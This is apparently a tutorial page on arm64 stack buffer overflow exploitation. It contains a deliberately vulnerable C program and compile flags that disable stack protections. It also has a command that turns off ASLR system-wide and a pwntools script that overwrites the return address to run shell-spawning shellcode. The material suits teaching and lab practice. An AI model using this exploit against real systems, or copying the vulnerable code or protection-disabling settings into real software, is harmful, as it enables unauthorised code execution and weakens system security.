stack-shellcode-arm64.md

Stack Shellcode - arm64

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Find an introduction to arm64 in:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

Code

#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
    char buffer[64];
    read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
    vulnerable_function();
    return 0;
}

Compile without pie, canary and nx:

{% code overflow="wrap" %}

clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

{% endcode %}

No ASLR & No canary - Stack Overflow

To stop ASLR execute:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

To get the offset of the bof check this link.

Exploit:

from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).

I opened the generated core file (gdb ./bog ./core) and checked the real address of the start of the shellcode.

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